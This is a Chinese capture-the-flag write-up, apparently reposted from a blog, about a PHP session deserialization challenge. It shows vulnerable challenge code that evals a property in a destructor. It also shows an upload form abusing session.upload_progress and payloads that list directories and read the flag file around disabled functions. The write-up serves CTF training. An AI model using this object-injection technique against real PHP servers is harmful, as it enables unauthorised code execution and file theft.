[CTF][高校战疫]php-session反序列化题目

前置知识

session 的存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的

  • php : 默认使用方式,格式 键名|键值(经过序列化函数处理的值)
  • php_serialize: 格式 经过序列化函数处理的值
  • php_binary: 键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值
  • 利用session.upload_progress进行文件包含和反序列化渗透

直接看看freebuf写的这篇文章吧
利用session.upload_progress进行文件包含和反序列化渗透

wp部分

打开题目,代码审计后,发现无太多可利用点
根据ini_set(‘session.serialize_handler’, ‘php’)这句话,推测和 php 对对象的序列化有相关漏洞

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    
    
    public $mdzz;
    function __construct()
    {
    
    
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
    
    
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    
    
    $m = new OowoO();
}
else
{
    
    
    highlight_string(file_get_contents('index.php'));
}
?>

那么我们就进入phpinfo查看一下,enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;只需往该地址任意 POST 一个名为 PHP_SESSION_UPLOAD_PROGRESS 的字段,就可以将filename的值赋值到session中
在这里插入图片描述
构造上传表单:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="777" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

再查看disable_functions发现禁用了函数system,那么我们则使用其他方式查看即可,记得在值前面加上|
print_r(scandir(dirname(__FILE__)));
在这里插入图片描述
通过phpinfo页面查看当前路径_SERVER["SCRIPT_FILENAME"]
在这里插入图片描述

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/solitudi/article/details/108861664